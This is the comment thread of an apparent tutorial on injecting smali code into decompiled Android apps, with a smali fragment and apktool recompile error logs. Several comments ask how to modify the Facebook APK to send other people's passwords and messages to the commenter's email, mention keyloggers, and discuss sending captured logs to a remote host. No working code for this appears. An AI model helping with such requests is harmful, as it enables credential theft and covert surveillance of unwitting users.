        invoke-static {v3, v4}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I

        goto :goto_1

        :cond_2
        move v3, v4

        goto :goto_2
        .end method

          • Hopefully I sent you everything you needed! A logcat with the errors in. Is it possible to write a new java class and then decompile it into smali, add it in to a decompiled apk and then re-compile it and call the code from a button press? I tried that too but when I pressed the button it crashed systemui! :( Not sure if I called it wrong and haven’t found any guides / tuts like yours which shows how to inject smali code rather than calling an entire new class / project. Cheers for your help / advice!

  25. hey gys pls i need help i want to insert a code in to the facebook apk file to send me the passward or what ever he/she texted i have decompiled both facebook 1.7.1 &1.9.0 with the apk multi tool and what shall i do afterwards…pls pls dont let me down. or if u have any other way u can also tell me

    if u want my email to send me use this facebook.98742@yahoo.com i know it sounds freeky but i use this email frequently b/c its cool

    p.s …i am doing this for not hacking to others account its just for the knowlege and to fool my friends pls pls pls

      • k u got me my name is not clair but other than zat i swear i am telling z truth i just want to know how its done and also try to fool my friends b/c they use android phone to open facebook and seeing zat i can put a code in apk inspired me trust me i have used every possible pc ways and android keyloggers but many dont work correctly but i got few for pc.pls i need help

        & FYI there are many ETHIOPIANS like me to know how its done and lern

        & if u dont mind why did it sound legit to u

        p.s i admire u for knowing zat i am from ethiopia hope u cant trace me where i am. i relly need to be more carefull next time anyways pls pls help me and also i serched the png photoes in the facebook and i replaced them with other same name .png photoes but it will not sign it and if it did it it will not work got any ideas?

  26. im having troubles recompiling the apk without changing a thing. Somebody having a clue what im doing wrong?

    C:\Users\game\SwiftKey\res\xml-land\keyboard_layout_symbols_hindi.xml:69: error
    No resource identifier found for attribute ‘arrowsMode’ in package ‘com.toucht
    pe’
    C:\Users\game\SwiftKey\res\xml-land\keyboard_layout_symbols_hindi.xml:70: error
    No resource identifier found for attribute ‘leftGap’ in package ‘com.touchtype

    C:\Users\game\SwiftKey\res\xml-land\keyboard_layout_symbols_hindi.xml:75: error
    No resource identifier found for attribute ‘topText’ in package ‘com.touchtype

    C:\Users\game\SwiftKey\res\xml-land\keyboard_layout_symbols_hindi.xml:75: error
    No resource identifier found for attribute ‘bottomText’ in package ‘com.toucht
    pe’
    C:\Users\game\SwiftKey\res\xml-land\keyboard_layout_symbols_hindi.xml:76: error
    No resource identifier found for attribute ‘topText’ in package ‘com.touchtype

    C:\Users\game\SwiftKey\res\xml-land\keyboard_layout_symbols_hindi.xml:76: error
    No resource identifier found for attribute ‘bottomText’ in package ‘com.toucht
    pe’
    C:\Users\game\SwiftKey\res\xml-land\keyboard_layout_symbols_hindi.xml:78: error
    No resource identifier found for attribute ‘direction’ in package ‘com.touchty
    e’
    C:\Users\game\SwiftKey\res\xml-land\keyboard_layout_symbols_hindi.xml:78: error
    No resource identifier found for attribute ‘leftGap’ in package ‘com.touchtype

    C:\Users\game\SwiftKey\res\xml-land\keyboard_layout_symbols_hindi.xml:78: error
    No resource identifier found for attribute ‘rightGap’ in package ‘com.touchtyp

    C:\Users\game\SwiftKey\res\xml-land\keyboard_layout_symbols_hindi.xml:80: error
    No resource identifier found for attribute ‘topGap’ in package ‘com.touchtype’
    C:\Users\game\SwiftKey\res\xml-land\keyboard_layout_symbols_hindi.xml:80: error
    No resource identifier found for attribute ‘bottomGap’ in package ‘com.touchty
    e’
    C:\Users\game\SwiftKey\res\xml-land\keyboard_layout_symbols_hindi.xml:80: error
    No resource identifier found for attribute ‘arrowsMode’ in package ‘com.toucht
    pe’
    C:\Users\game\SwiftKey\res\xml-land\keyboard_layout_symbols_hindi.xml:81: error
    No resource identifier found for attribute ‘layoutId’ in package ‘com.touchtyp

    C:\Users\game\SwiftKey\res\xml-land\keyboard_layout_symbols_hindi.xml:81: error
    No resource identifier found for attribute ‘leftGap’ in package ‘com.touchtype

    C:\Users\game\SwiftKey\res\xml-land\keyboard_layout_symbols_hindi.xml:82: error
    No resource identifier found for attribute ‘layoutId’ in package ‘com.touchtyp

    C:\Users\game\SwiftKey\res\xml-land\keyboard_layout_symbols_hindi.xml:86: error
    No resource identifier found for attribute ‘layoutId’ in package ‘com.touchtyp

    C:\Users\game\SwiftKey\res\xml-land\keyboard_layout_symbols_hindi.xml:87: error
    No resource identifier found for attribute ‘direction’ in package ‘com.touchty
    e’
    C:\Users\game\SwiftKey\res\xml-land\keyboard_layout_symbols_hindi.xml:87: error
    No resource identifier found for attribute ‘leftGap’ in package ‘com.touchtype

    C:\Users\game\SwiftKey\res\xml-land\keyboard_layout_symbols_hindi.xml:87: error
    No resource identifier found for attribute ‘rightGap’ in package ‘com.touchtyp

    C:\Users\game\SwiftKey\res\xml\prefs.xml:6: error: No resource identifier found
    for attribute ‘prefActivityToLaunch’ in package ‘com.touchtype’
    C:\Users\game\SwiftKey\res\xml\prefs.xml:9: error: No resource identifier found
    for attribute ‘prefActivityToLaunch’ in package ‘com.touchtype’
    C:\Users\game\SwiftKey\res\xml\prefs.xml:10: error: No resource identifier foun
    for attribute ‘prefActivityToLaunch’ in package ‘com.touchtype’
    C:\Users\game\SwiftKey\res\xml\prefs.xml:13: error: No resource identifier foun
    for attribute ‘prefActivityToLaunch’ in package ‘com.touchtype’
    C:\Users\game\SwiftKey\res\xml\prefs.xml:20: error: No resource identifier foun
    for attribute ‘prefActivityToLaunch’ in package ‘com.touchtype’
    C:\Users\game\SwiftKey\res\xml\prefs.xml:23: error: No resource identifier foun
    for attribute ‘prefActivityToLaunch’ in package ‘com.touchtype’
    C:\Users\game\SwiftKey\res\xml\prefs_advanced.xml:8: error: No resource identif
    er found for attribute ‘prefActivityToLaunch’ in package ‘com.touchtype’
    C:\Users\game\SwiftKey\res\xml\prefs_advanced.xml:25: error: No resource identi
    ier found for attribute ‘prefActivityToLaunch’ in package ‘com.touchtype’
    C:\Users\game\SwiftKey\res\xml\prefs_keyboard.xml:5: error: No resource identif
    er found for attribute ‘summaryList’ in package ‘com.touchtype’
    C:\Users\game\SwiftKey\res\xml\prefs_personalizers.xml:6: error: No resource id
    ntifier found for attribute ‘postConsentText’ in package ‘com.touchtype’
    C:\Users\game\SwiftKey\res\xml\prefs_personalizers.xml:8: error: No resource id
    ntifier found for attribute ‘postConsentText’ in package ‘com.touchtype’
    C:\Users\game\SwiftKey\res\xml\prefs_personalizers.xml:8: error: No resource id
    ntifier found for attribute ‘likeConsentText’ in package ‘com.touchtype’
    brut.androlib.AndrolibException: brut.androlib.AndrolibException: brut.common.B
    utException: could not exec command: [aapt, p, --min-sdk-version, 7, --target-s
    k-version, 15, -F, C:\Users\game\AppData\Local\Temp\APKTOOL4231221809430590577.
    mp, -0, arsc, -I, C:\Users\game\apktool\framework\1.apk, -S, C:\Users\game\Swif
    Key\res, -M, C:\Users\game\SwiftKey\AndroidManifest.xml]
    at brut.androlib.Androlib.buildResourcesFull(Androlib.java:358)
    at brut.androlib.Androlib.buildResources(Androlib.java:283)
    at brut.androlib.Androlib.build(Androlib.java:206)
    at brut.androlib.Androlib.build(Androlib.java:176)
    at brut.apktool.Main.cmdBuild(Main.java:228)
    at brut.apktool.Main.main(Main.java:79)
    Caused by: brut.androlib.AndrolibException: brut.common.BrutException: could no
    exec command: [aapt, p, --min-sdk-version, 7, --target-sdk-version, 15, -F, C:
    Users\game\AppData\Local\Temp\APKTOOL4231221809430590577.tmp, -0, arsc, -I, C:\
    sers\game\apktool\framework\1.apk, -S, C:\Users\game\SwiftKey\res, -M, C:\Users
    game\SwiftKey\AndroidManifest.xml]
    at brut.androlib.res.AndrolibResources.aaptPackage(AndrolibResources.ja
    a:357)
    at brut.androlib.Androlib.buildResourcesFull(Androlib.java:336)
    … 5 more
    Caused by: brut.common.BrutException: could not exec command: [aapt, p, --min-s
    k-version, 7, --target-sdk-version, 15, -F, C:\Users\game\AppData\Local\Temp\AP
    TOOL4231221809430590577.tmp, -0, arsc, -I, C:\Users\game\apktool\framework\1.ap
    , -S, C:\Users\game\SwiftKey\res, -M, C:\Users\game\SwiftKey\AndroidManifest.xm
    ]
    at brut.util.OS.exec(OS.java:89)
    at brut.androlib.res.AndrolibResources.aaptPackage(AndrolibResources.ja
    a:355)
    … 6 more

    • I’ve got a similar error. The identifiers and attributes cannot be found in the named namespace. I’ve installed the latest Android SDK without changes and also tried to recompile the project without changes, but I got the same result.
      Do I maybe miss a framework, since I’ve found “1.apk” in ~/apktool/framework/ ?
      I’m using openjdk instead of the Oracle JDK. Could that be the reason? (I don’t think so)
      I really ran out of ideas.

  27. hey everybody i sent u a comment last time and i havent get any replay my que was how can i insert a code to send me the facebook passwards to my email i have decompiled facebook 1.9.0 and need any help pls pls pls
    send me any soln in my email facebook.98742@yahoo.com dont ask why i created this email but pl pl pls

  28. Hi, i notice that he creats a .txt file, what if instead of sending to the server i just wanted him to save the text file in a normal paste, so i could read from my own cellphone later.
    What do I have to change on the code to make it like this?

    Thanks

  29. Hi, I had try to send logs to my host, but something goes wrong, I can’t found MainActivity$AsyncHttpPost, everything else was made by myself.

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>